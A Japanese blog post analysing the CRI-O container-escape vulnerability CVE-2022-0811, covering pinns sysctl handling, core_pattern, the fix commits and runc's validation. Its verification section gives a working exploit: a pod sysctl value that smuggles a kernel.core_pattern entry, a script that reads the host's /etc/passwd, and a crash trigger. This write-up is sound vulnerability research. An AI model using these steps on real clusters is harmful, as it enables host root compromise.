CVE-2022-0811 調査まとめ
CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。
CVE-2022-0811 概要
CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。
CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)
pinns utility のカーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern
への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。
LSM では防ぐことはできませんが、OPA 等のポリシーで回避可能です。
CRI-O について
CRI-O 概要
https://github.com/cri-o/cri-o
CRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。
Docker や containerd とは異なり、コンテナ作成にはまず pod を作成し、その中にコンテナを作成する必要があります。
CLI ツールは crictl
(https://github.com/kubernetes-sigs/cri-tools) を使用します。
# cat container-config.json { "metadata": { "name": "ubuntu" }, "image":{ "image": "ubuntu" }, "command": [ "sleep", "3600" ], "log_path":"ubuntu.0.log", "linux": { } } # cat pod-config.json { "metadata": { "name": "ubuntu-sandbox", "namespace": "default", "attempt": 1, "uid": "hdishd83fjaiarawuwk28bcsb" }, "log_directory": "/tmp", "linux": { } } # crictl runp pod-config.json ← pod の起動 b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc # crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 # crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 # crictl pods POD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIME b69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default) # crictl ps CONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID 2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6
pinns による pod へのカーネルパラメータ設定
CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。
この対応は v1.19 で追加されました。 (first commit)
設定には -s
オプションを使用し、key=value
の形式で複数のカーネルパラメータを連結して渡すことができます。
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
設定可能な sysctls は以下の実装で制限されています。
sysctls の中にはホストと設定を共有するものもあるため、コンテナ起動時に設定できる sysctls を Namespaced なものに限定しています。
https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.go
var prefixNamespaces = map[string]Namespace{ "kernel.shm": IpcNamespace, "kernel.msg": IpcNamespace, "fs.mqueue.": IpcNamespace, "net.": NetNamespace, } // Validate checks that a sysctl is whitelisted because it is known to be // namespaced by the Linux kernel. The parameters hostNet and hostIPC are used // to forbid sysctls for pod sharing the respective namespaces with the host. // This check is only used on sysctls defined by the user in the crio.conf // file. func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := "%q not allowed with host %s enabled" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf("%s not whitelisted", s.Key()) }
sysctls の適用は pinns 内に実装されており、-s
オプションの設定値をもとに /proc/sys/
以下のファイルに書き込みを行なっています。
https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.c
static int write_sysctl_to_file (char * sysctl_key, char* sysctl_value) { if (!sysctl_key || !sysctl_value) { pwarn ("sysctl key or value not initialized"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == '.') *it = '/'; _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn ("failed to open /proc/sys"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf ("failed to open /proc/sys/%s", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf ("failed to write to /proc/sys/%s", sysctl_key); return -1; } return 0; }
Coredump
プロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。
これはホストの root 権限で実行されます。
Coredump の設定は /proc/sys/kernel/core_pattern
に書かれており、ファイルの直接編集や sysctl
コマンドで設定を変更できます。
# sysctl -w kernel.core_pattern="%e-%s.core"
kernel.core_pattern
には dump の出力先パスを指定しますが、最初文字がパイプ |
の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。
/proc/sys/kernel/core_pattern
のデフォルト値として、ubuntu (20.04) では apport
というバグレポートツールが指定されています。
$ cat /proc/sys/kernel/core_pattern |/usr/share/apport/apport %p %s %c %d %P %E
また Coredump のファイルサイズ上限は ulimit
で設定します。
Limit が0の場合ファイル出力されませんが、試した感じ今回の脆弱性は Soft Limit が0でも刺さりそうです。
# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited us
エクスプロイト
要点
kernel.core_pattern
は Namespaced ではないため、ホストとコンテナで同じファイルを参照する- コンテナ内からは変更不可
- pod 起動時に sysctl に
kernel.core_pattern
を設定できれば、ホストの値も変更できる
- CIO-O 内で sysctl のキーを検証しているが、value に
+
を含む文字列を渡すことでバイパス可能 (以下コードを参照) - 設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行
問題となったコード
func getSysctlForPinns(sysctls map[string]string) string { // this assumes there's no sysctl with a `+` in it const pinnsSysctlDelim = "+" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim) // ← "'key1=value1'+'key2=value2'" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim) }
検証
脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。
今回は Kubernetes は使用せず、crictl
での検証を行いました。
# crio --version crio version 1.23.1 Version: 1.23.1 GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89 GitTreeState: dirty BuildDate: 1980-01-01T00:00:00Z GoVersion: go1.17.4 Compiler: gc Platform: linux/amd64 Linkmode: static BuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinux SeccompEnabled: true AppArmorEnabled: true
最初にホストに実行させたいプログラムを配置するコンテナを作成します。
container-config.json、pod-config.json は前述のファイルと同じものです。
# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a # crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 # crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123
起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。
今回は /etc/passwd
をコンテナ内の /output
に出力するスクリプトを用意しました。
# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bash root@d33614f0b22d:/# mount | grep overlay overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile) root@d33614f0b22d:/# echo '#!/bin/sh' > /cmd root@d33614f0b22d:/# echo 'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output' >> cmd root@d33614f0b22d:/# cat /cmd #!/bin/sh cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output root@d33614f0b22d:/# chmod a+x /cmd
続いて kernel.core_pattern
を変更する pod を作成します。
pod config の sysctls には変更が許可されている sysctl のキーと、+
で連結した value を記載します。value に記載する kernel.core_pattern
には、ホストから見たプログラムの絶対パスを指定しています。
パスの末尾に #
をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。
# cat /proc/sys/kernel/core_pattern |/usr/share/apport/apport %p %s %c %d %P %E # cat pod-config2.json { "metadata": { "name": "ubuntu-sandbox2", "namespace": "default", "attempt": 1, "uid": "edishd83djaidwnduwk28bcsd" }, "log_directory": "/tmp", "linux": { "sysctls": { "kernel.shm_rmid_forced": "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #" } } } # crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument
pod 作成はエラーになりますが、kernel.core_pattern
を見ると変更されていることがわかります。
# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #'
最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。
root@d33614f0b22d:/# tail -f /dev/null & [1] 17 root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 ps root@d33614f0b22d:/# kill -SIGSEGV 17 root@d33614f0b22d:/# ls / bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var [1]+ Segmentation fault (core dumped) tail -f /dev/null root@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
回避策
CrowdStrike 社のブログ を参考にしています。
seccomp 等の LSM では防げないため、CRI-O のアップデートが推奨されます。
- CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)
- OPA 等のポリシーを設定する
- PSP で sysctls を全てブロックする
- pinns の
-s
を除去するラッパーを用意し、crio.conf の pinns_path に設定する
修正パッチ
commit1
https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1
pinns の -s
オプションを生成する箇所で、+
に対してバリデーションを追加しています。
こちらは暫定対応?のようで、次に紹介する commit2 で再修正されています。
func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 { - pinnsArgs = append(pinnsArgs, "-s", getSysctlForPinns(cfg.Sysctls)) + pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls) + if err != nil { + return nil, errors.Wrapf(err, "invalid sysctl") + } + pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls) } ... } - func getSysctlForPinns(sysctls map[string]string) string { - // this assumes there's no sysctl with a `+` in it + func getSysctlForPinns(sysctls map[string]string) (string, error) { + // This assumes there's no valid sysctl value with a `+` in it + // and as such errors if one is found. const pinnsSysctlDelim = "+" g := new(bytes.Buffer) for key, value := range sysctls { + if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) { + return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim) + } fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim) } - return strings.TrimSuffix(g.String(), pinnsSysctlDelim) + return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }
commit2
https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2
文字列の連結をやめ、-s
をパラメータ毎に設定する修正がされています。
func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 { - pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls) - if err != nil { - return nil, errors.Wrapf(err, "invalid sysctl") - } - pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls) + for key, value := range cfg.Sysctls { + pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value)) } ... }
containerd の場合
他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。
containerd では sysctls のバリデーションを行なっておらず、設定された sysctls を OCI 側にそのまま渡しているようです。
runc 内の実装に sysctls の検証をしている箇所を見つけました。
https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go
// sysctl validates that the specified sysctl keys are valid or not. // /proc/sys isn't completely namespaced and depending on which namespaces // are specified, a subset of sysctls are permitted. func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ "kernel.msgmax": true, "kernel.msgmnb": true, "kernel.msgmni": true, "kernel.sem": true, "kernel.shmall": true, "kernel.shmmax": true, "kernel.shmmni": true, "kernel.shm_rmid_forced": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, "fs.mqueue.") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf("sysctl %q is not allowed in the hosts ipc namespace", s) } } if strings.HasPrefix(s, "net.") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf("sysctl %q is not allowed in the hosts network namespace", s) } } return fmt.Errorf("sysctl %q is not in a separate kernel namespace", s) } return nil }
CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。
さいごに
初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。
脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。
内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。
参考リンク
https://nvd.nist.gov/vuln/detail/CVE-2022-0811
https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerability
https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7
https://pwning.systems/posts/escaping-containers-for-fun/
https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
https://valinux.hatenablog.com/entry/20210721
https://qiita.com/rarul/items/d33b664c8414f065e65e
https://man7.org/linux/man-pages/man5/core.5.html